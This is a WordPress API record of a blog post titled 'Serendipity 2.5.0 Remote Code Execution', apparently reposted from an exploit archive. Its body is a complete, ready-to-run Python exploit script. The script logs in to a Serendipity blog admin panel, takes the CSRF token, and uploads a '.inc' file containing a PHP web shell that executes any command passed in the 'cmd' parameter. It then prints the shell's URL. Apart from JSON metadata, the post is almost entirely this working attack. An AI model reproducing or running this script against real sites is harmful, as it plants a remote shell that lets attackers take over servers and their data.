{"id":57234,"date":"2024-06-03T18:49:51","date_gmt":"2024-06-03T15:49:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178890\/serendipity250-exec.txt"},"modified":"2024-06-03T18:49:51","modified_gmt":"2024-06-03T15:49:51","slug":"serendipity-2-5-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/serendipity-2-5-0-remote-code-execution\/","title":{"rendered":"Serendipity 2.5.0 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: Serendipity 2.5.0 &#8211; Remote Code Execution (RCE)<br \/># Discovered by: Ahmet \u00dcmit BAYRAM<br \/># Discovered Date: 26.04.2024<br \/># Vendor Homepage: https:\/\/docs.s9y.org\/<br \/># Software Link:https:\/\/www.s9y.org\/latest<br \/># Tested Version: v2.5.0 (latest)<br \/># Tested on: MacOS<\/p>\n<p>import requests<br \/>import time<br \/>import random<br \/>import string<br \/>from bs4 import BeautifulSoup<\/p>\n<p>def generate_filename(extension=&#8221;.inc&#8221;):<br \/>return &#8221;.join(random.choices(string.ascii_letters + string.digits, k=5)) +<br \/>extension<\/p>\n<p>def get_csrf_token(response):<br \/>soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)<br \/>token = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;serendipity[token]&#8217;})<br \/>return token[&#8216;value&#8217;] if token else None<\/p>\n<p>def login(base_url, username, password):<br \/>print(&#8220;Logging in&#8230;&#8221;)<br \/>time.sleep(2)<br \/>session = requests.Session()<br \/>login_page = session.get(f&#8221;{base_url}\/serendipity_admin.php&#8221;)<br \/>token = get_csrf_token(login_page)<br \/>data = {<br \/>&#8220;serendipity[action]&#8221;: &#8220;admin&#8221;,<br \/>&#8220;serendipity[user]&#8221;: username,<br \/>&#8220;serendipity[pass]&#8221;: password,<br \/>&#8220;submit&#8221;: &#8220;Login&#8221;,<br \/>&#8220;serendipity[token]&#8221;: token<br \/>}<br \/>headers = {<br \/>&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;,<br \/>&#8220;Referer&#8221;: f&#8221;{base_url}\/serendipity_admin.php&#8221;<br \/>}<br \/>response = session.post(f&#8221;{base_url}\/serendipity_admin.php&#8221;, data=data,<br \/>headers=headers)<br \/>if &#8220;Add media&#8221; in response.text:<br \/>print(&#8220;Login Successful!&#8221;)<br \/>time.sleep(2)<br \/>return session<br \/>else:<br \/>print(&#8220;Login Failed!&#8221;)<br \/>return None<\/p>\n<p>def upload_file(session, base_url, filename, token):<br \/>print(&#8220;Shell Preparing&#8230;&#8221;)<br \/>time.sleep(2)<br \/>boundary = &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;395233558031804950903737832368&#8221;<br \/>headers = {<br \/>&#8220;Content-Type&#8221;: f&#8221;multipart\/form-data; boundary={boundary}&#8221;,<br \/>&#8220;Referer&#8221;: f&#8221;{base_url}<br \/>\/serendipity_admin.php?serendipity[adminModule]=media&#8221;<br \/>}<br \/>payload = (<br \/>f&#8221;&#8211;{boundary}\\r\\n&#8221;<br \/>f&#8221;Content-Disposition: form-data; name=\\&#8221;serendipity[token]\\&#8221;\\r\\n\\r\\n&#8221;<br \/>f&#8221;{token}\\r\\n&#8221;<br \/>f&#8221;&#8211;{boundary}\\r\\n&#8221;<br \/>f&#8221;Content-Disposition: form-data; name=\\&#8221;serendipity[action]\\&#8221;\\r\\n\\r\\n&#8221;<br \/>f&#8221;admin\\r\\n&#8221;<br \/>f&#8221;&#8211;{boundary}\\r\\n&#8221;<br \/>f&#8221;Content-Disposition: form-data; name=\\&#8221;serendipity[adminModule]\\&#8221;\\r\\n\\r\\n&#8221;<br \/>f&#8221;media\\r\\n&#8221;<br \/>f&#8221;&#8211;{boundary}\\r\\n&#8221;<br \/>f&#8221;Content-Disposition: form-data; name=\\&#8221;serendipity[adminAction]\\&#8221;\\r\\n\\r\\n&#8221;<br \/>f&#8221;add\\r\\n&#8221;<br \/>f&#8221;&#8211;{boundary}\\r\\n&#8221;<br \/>f&#8221;Content-Disposition: form-data; name=\\&#8221;serendipity[userfile][1]\\&#8221;;<br \/>filename=\\&#8221;{filename}\\&#8221;\\r\\n&#8221;<br \/>f&#8221;Content-Type: text\/html\\r\\n\\r\\n&#8221;<br \/>&#8220;&lt;html&gt;\\n&lt;body&gt;\\n&lt;form method=\\&#8221;GET\\&#8221; name=\\&#8221;&lt;?php echo<br \/>basename($_SERVER[&#8216;PHP_SELF&#8217;]); ?&gt;\\&#8221;&gt;\\n&#8221;<br \/>&#8220;&lt;input type=\\&#8221;TEXT\\&#8221; name=\\&#8221;cmd\\&#8221; autofocus id=\\&#8221;cmd\\&#8221; size=\\&#8221;80\\&#8221;&gt;\\n&lt;input<br \/>type=\\&#8221;SUBMIT\\&#8221; value=\\&#8221;Execute\\&#8221;&gt;\\n&#8221;<br \/>&#8220;&lt;\/form&gt;\\n&lt;pre&gt;\\n&lt;?php\\nif(isset($_GET[&#8216;cmd&#8217;]))\\n{\\nsystem($_GET[&#8216;cmd&#8217;]);\\n}<br \/>\\n?&gt;\\n&lt;\/pre&gt;\\n&lt;\/body&gt;\\n&lt;\/html&gt;\\r\\n&#8221;<br \/>f&#8221;&#8211;{boundary}&#8211;\\r\\n&#8221;<br \/>)<\/p>\n<p>response = session.post(f&#8221;{base_url}<br \/>\/serendipity_admin.php?serendipity[adminModule]=media&#8221;, headers=headers,<br \/>data=payload.encode(&#8216;utf-8&#8217;))<br \/>if f&#8221;File {filename} successfully uploaded as&#8221; in response.text:<br \/>print(f&#8221;Your shell is ready: {base_url}\/uploads\/{filename}&#8221;)<br \/>else:<br \/>print(&#8220;Exploit Failed!&#8221;)<\/p>\n<p>def main(base_url, username, password):<br \/>filename = generate_filename()<br \/>session = login(base_url, username, password)<br \/>if session:<br \/>token = get_csrf_token(session.get(f&#8221;{base_url}<br \/>\/serendipity_admin.php?serendipity[adminModule]=media&#8221;))<br \/>upload_file(session, base_url, filename, token)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>import sys<br \/>if len(sys.argv) != 4:<br \/>print(&#8220;Usage: python script.py &lt;siteurl&gt; &lt;username&gt; &lt;password&gt;&#8221;)<br \/>else:<br \/>main(sys.argv[1], sys.argv[2], sys.argv[3])<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Serendipity 2.5.0 &#8211; Remote Code Execution (RCE)# Discovered by: Ahmet \u00dcmit BAYRAM# Discovered Date: 26.04.2024# Vendor Homepage: https:\/\/docs.s9y.org\/# Software Link:https:\/\/www.s9y.org\/latest# Tested Version: v2.5.0 (latest)# Tested on: MacOS import requestsimport timeimport randomimport stringfrom bs4 import BeautifulSoup def generate_filename(extension=&#8221;.inc&#8221;):return &#8221;.join(random.choices(string.ascii_letters + string.digits, k=5)) +extension def get_csrf_token(response):soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)token = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;serendipity[token]&#8217;})return token[&#8216;value&#8217;] &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57234","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57234","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57234"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57234\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57234"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57234"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57234"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}